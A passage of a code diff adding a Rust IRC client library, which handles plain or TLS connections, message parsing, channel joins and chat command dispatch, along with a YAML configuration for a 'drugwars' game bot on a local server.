+    pub use typemap_rev::*;
+}
+
+pub(crate) const MAX_MSG_LEN: usize = 512;
+pub(crate) type System = fn(&mut Irc, &IrcPrefix, Vec<&str>) -> Option<Vec<String>>;
+
+pub enum Stream {
+    Plain(TcpStream),
+    Tls(TlsStream<TcpStream>),
+}
+
+impl Stream {
+    pub fn read(&mut self, buf: &mut [u8]) -> Result<usize, std::io::Error> {
+        match self {
+            Stream::Plain(stream) => stream.read(buf),
+            Stream::Tls(stream) => stream.read(buf),
+        }
+    }
+
+    pub fn write(&mut self, buf: &[u8]) -> Result<usize, std::io::Error> {
+        match self {
+            Stream::Plain(stream) => stream.write(buf),
+            Stream::Tls(stream) => stream.write(buf),
+        }
+    }
+}
+
+#[derive(Debug, Default)]
+pub struct IrcPrefix<'a> {
+    pub nick: &'a str,
+    pub user: Option<&'a str>,
+    pub host: Option<&'a str>,
+}
+
+impl<'a> From<&'a str> for IrcPrefix<'a> {
+    fn from(prefix_str: &'a str) -> Self {
+        let prefix_str = &prefix_str[1..];
+
+        let nick_split: Vec<&str> = prefix_str.split('!').collect();
+        let nick = nick_split[0];
+
+        // we only have a nick
+        if nick_split.len() == 1 {
+            return Self {
+                nick,
+                ..Default::default()
+            };
+        }
+
+        let user_split: Vec<&str> = nick_split[1].split('@').collect();
+        let user = user_split[0];
+
+        // we don't have an host
+        if user_split.len() == 1 {
+            return Self {
+                nick: nick,
+                user: Some(user),
+                ..Default::default()
+            };
+        }
+
+        Self {
+            nick: nick,
+            user: Some(user),
+            host: Some(user_split[1]),
+        }
+    }
+}
+
+pub struct IrcMessage<'a> {
+    prefix: Option<IrcPrefix<'a>>,
+    command: IrcCommand,
+    parameters: Vec<&'a str>,
+}
+
+impl<'a> From<&'a str> for IrcMessage<'a> {
+    fn from(line: &'a str) -> Self {
+        let mut elements = line.split_whitespace();
+
+        let tmp = elements.next().unwrap();
+
+        if tmp.chars().next().unwrap() == ':' {
+            return Self {
+                prefix: Some(tmp.into()),
+                command: elements.next().unwrap().into(),
+                parameters: elements.collect(),
+            };
+        }
+
+        Self {
+            prefix: None,
+            command: tmp.into(),
+            parameters: elements.collect(),
+        }
+    }
+}
+
+#[derive(Clone)]
+pub struct Channel {
+    name: String,
+    key: Option<String>,
+}
+
+impl From<ChannelConfig> for Channel {
+    fn from(channel_config: ChannelConfig) -> Self {
+        Self {
+            name: channel_config.name,
+            key: channel_config.key,
+        }
+    }
+}
+
+pub struct Irc {
+    stream: Option<Stream>,
+    host: String,
+    port: u16,
+    ssl: bool,
+
+    channels: Vec<Channel>,
+
+    nick: String,
+    user: String,
+    real: String,
+
+    cmdkey: String,
+
+    data: TypeMap,
+
+    default_system: Option<System>,
+    systems: HashMap<String, System>,
+
+    send_queue: VecDeque<String>,
+    recv_queue: VecDeque<String>,
+
+    partial_line: String,
+}
+
+impl Irc {
+    pub fn from_config(config_path: &str) -> IrcBuilder {
+        let config = IrcConfig::from_file(config_path).unwrap();
+        config.into()
+    }
+
+    pub fn new() -> IrcBuilder {
+        IrcBuilder::new()
+    }
+
+    pub fn data(&self) -> &TypeMap {
+        &self.data
+    }
+
+    pub fn data_mut(&mut self) -> &mut TypeMap {
+        &mut self.data
+    }
+
+    pub fn connect(&mut self) -> Result<(), Box<dyn Error>> {
+        let domain = format!("{}:{}", self.host, self.port);
+
+        let mut addrs = domain
+            .to_socket_addrs()
+            .expect("Unable to get addrs from domain {domain}");
+
+        let sock = addrs
+            .next()
+            .expect("Unable to get ip from addrs: {addrs:?}");
+
+        let stream = TcpStream::connect(sock)?;
+        stream.set_nonblocking(true)?;
+
+        if self.ssl {
+            let connector = TlsConnector::new().unwrap();
+            let mut tls_stream = connector.connect(&self.host, stream);
+
+            while tls_stream.is_err() {
+                tls_stream = match tls_stream.err().unwrap() {
+                    native_tls::HandshakeError::Failure(f) => panic!("{f}"),
+                    native_tls::HandshakeError::WouldBlock(mid_handshake) => {
+                        mid_handshake.handshake()
+                    }
+                }
+            }
+
+            self.stream = Some(Stream::Tls(tls_stream.unwrap()));
+            return Ok(());
+        }
+
+        self.stream = Some(Stream::Plain(stream));
+        Ok(())
+    }
+
+    fn join(&mut self) {
+        for i in 0..self.channels.len() {
+            let channel = &self.channels[i];
+            if channel.key.is_some() {
+                self.queue(&format!(
+                    "JOIN {} {}",
+                    channel.name,
+                    channel.key.as_ref().unwrap()
+                ))
+            } else {
+                self.queue(&format!("JOIN {}", channel.name))
+            }
+        }
+    }
+
+    fn join_manual(&mut self, channel: &str, key: Option<&str>) {
+        if key.is_some() {
+            self.queue(&format!("JOIN {} {}", channel, key.unwrap()));
+        } else {
+            self.queue(&format!("JOIN {}", channel));
+        }
+    }
+
+    pub fn register(&mut self) {
+        self.queue(&format!("USER {} 0 * {}", self.user, self.real));
+        self.queue(&format!("NICK {}", self.nick));
+    }
+
+    pub fn run(&mut self) {
+        // main loop!
+        loop {
+            self.recv().unwrap();
+            self.send().unwrap();
+            self.handle_commands();
+
+            std::thread::sleep(Duration::from_millis(50));
+        }
+    }
+
+    pub fn update(&mut self) {
+        self.recv().unwrap();
+        self.send().unwrap();
+        self.handle_commands();
+    }
+
+    fn recv(&mut self) -> Result<(), Box<dyn Error>> {
+        let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
+
+        let mut lines = VecDeque::new();
+
+        loop {
+            let mut buf = [0; MAX_MSG_LEN];
+
+            let bytes_read = match stream.read(&mut buf) {
+                Ok(bytes_read) => bytes_read,
+                Err(err) => match err.kind() {
+                    ErrorKind::WouldBlock => {
+                        self.recv_queue.append(&mut lines);
+                        return Ok(());
+                    }
+                    _ => panic!("{:?}", err),
+                },
+            };
+
+            if bytes_read == 0 {
+                break;
+            }
+
+            let buf = &buf[..bytes_read];
+
+            let mut str_buf = self.partial_line.clone();
+            str_buf += String::from_utf8_lossy(buf).into_owned().as_str();
+            let new_lines: Vec<&str> = str_buf.split("\r\n").collect();
+            let len = new_lines.len();
+
+            for (index, line) in new_lines.into_iter().enumerate() {
+                if index == len - 1 {
+                    self.partial_line = line.to_owned();
+                    break;
+                }
+                lines.push_back(line.to_owned());
+            }
+        }
+        Ok(())
+    }
+
+    fn send(&mut self) -> Result<(), Box<dyn Error>> {
+        let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
+
+        while self.send_queue.len() > 0 {
+            let msg = self.send_queue.pop_front().unwrap();
+
+            let bytes_written = match stream.write(msg.as_bytes()) {
+                Ok(bytes_written) => bytes_written,
+                Err(err) => match err.kind() {
+                    ErrorKind::WouldBlock => {
+                        println!("would block send.");
+                        return Ok(());
+                    }
+                    _ => panic!("{err}"),
+                },
+            };
+
+            if bytes_written < msg.len() {
+                self.send_queue.push_front(msg[bytes_written..].to_owned());
+            }
+        }
+
+        Ok(())
+    }
+
+    fn handle_commands(&mut self) {
+        while self.recv_queue.len() != 0 {
+            let owned_line = self.recv_queue.pop_front().unwrap();
+            let line = owned_line.as_str();
+
+            println!("<< {:?}", line);
+
+            let message: IrcMessage = line.into();
+
+            self.handle_message(&message);
+        }
+    }
+
+    fn handle_message(&mut self, message: &IrcMessage) {
+        match message.command {
+            IrcCommand::PING => self.event_ping(&message.parameters[0]),
+            IrcCommand::RPL_WELCOME => self.event_welcome(),
+            IrcCommand::ERR_NICKNAMEINUSE => self.update_nick(&format!("{}_", &self.nick)),
+            IrcCommand::KICK => self.event_kick(
+                message.parameters[0],
+                message.parameters[1],
+                &message.parameters[3..].join(" "),
+            ),
+            IrcCommand::QUIT => self.event_quit(message.prefix.as_ref().unwrap()),
+            IrcCommand::INVITE => self.event_invite(
+                message.prefix.as_ref().unwrap(),
+                &message.parameters[0][1..],
+            ),
+            IrcCommand::PRIVMSG => self.event_privmsg(
+                message.prefix.as_ref().unwrap(),
+                &message.parameters[0],
+                &message.parameters[1..].join(" ")[1..],
+            ),
+            IrcCommand::JOIN => self.event_join(
+                message.prefix.as_ref().unwrap(),
+                &message.parameters[0][1..],
+            ),
+            _ => {}
+        }
+    }
+
+    fn queue(&mut self, msg: &str) {
+        let mut msg = msg.replace("\r", "").replace("\n", "");
+
+        if msg.len() > MAX_MSG_LEN - "\r\n".len() {
+            let mut i = 0;
+
+            while i < msg.len() {
+                let max = (MAX_MSG_LEN - "\r\n".len()).min(msg[i..].len());
+
+                let mut m = msg[i..(i + max)].to_owned();
+                println!(">> {:?}", m);
+                m = m + "\r\n";
+                self.send_queue.push_back(m);
+                i += MAX_MSG_LEN - "\r\n".len()
+            }
+        } else {
+            println!(">> {:?}", msg);
+            msg = msg + "\r\n";
+            self.send_queue.push_back(msg);
+        }
+    }
+
+    fn event_ping(&mut self, ping_token: &str) {
+        self.queue(&format!("PONG {}", ping_token));
+    }
+
+    fn event_welcome(&mut self) {
+        self.join();
+    }
+
+    fn update_nick(&mut self, new_nick: &str) {
+        self.nick = new_nick.to_owned();
+        self.queue(&format!("NICK {}", self.nick));
+    }
+
+    fn event_kick(&mut self, channel: &str, nick: &str, message: &str) {
+        if nick != &self.nick {
+            return;
+        }
+
+        println!("we got kicked!");
+        println!("{message}");
+
+        //TODO: fix this in case a key is needed.
+        self.join_manual(channel, None);
+    }
+
+    fn event_quit(&mut self, prefix: &IrcPrefix) {
+        if prefix.nick != self.nick {
+            return;
+        }
+
+        println!("need to reconnect.");
+        std::thread::sleep(Duration::from_secs(15));
+        self.connect().unwrap();
+        self.register();
+    }
+
+    fn event_invite(&mut self, prefix: &IrcPrefix, channel: &str) {
+        println!("{} invited us to {}", prefix.nick, channel);
+    }
+
+    fn execute_default(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
+        let Some(default_func) = self.default_system else { return; };
+
+        let mut elements = message.split_whitespace();
+        elements.next();
+
+        let Some(output) = default_func(self, prefix, elements.collect()) else {
+            return;
+        };
+
+        for line in output {
+            self.privmsg(channel, &line);
+        }
+    }
+
+    fn event_privmsg(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
+        if message.starts_with(&self.cmdkey) {
+            let mut elements = message.split_whitespace();
+            let sys_name = &elements.next().unwrap()[1..];
+
+            let Some(func) = self.systems.get(sys_name) else { 
+                self.execute_default(prefix, channel, message);
+                return; 
+            };
+
+            let Some(output) = func(self, prefix, elements.collect()) else {
+                return;
+            };
+
+            for line in output {
+                self.privmsg(channel, &line);
+            }
+        }
+    }
+
+    fn event_join(&mut self, prefix: &IrcPrefix, _channel: &str) {
+        if prefix.nick != self.nick {
+            return;
+        }
+    }
+
+    pub fn privmsg(&mut self, channel: &str, message: &str) {
+        self.queue(&format!("PRIVMSG {} :{}", channel, message));
+    }
+
+    pub fn privmsg_all(&mut self, message: &str) {
+        for i in 0..self.channels.len() {
+            let channel = &self.channels[i];
+            self.queue(&format!("PRIVMSG {} :{}", channel.name, message));
+        }
+    }
+}
diff --git a/irc/bots/drugwars/irc_config.yaml b/irc/bots/drugwars/irc_config.yaml
@@ -0,0 +1,12 @@
+host: localhost
+port: 6697
+ssl: true
+
+channels:
+    - name: "#drugwars"
+
+nick: abc
+user: manhello
+real: manhello
+
+cmdkey: .
+\ No newline at end of file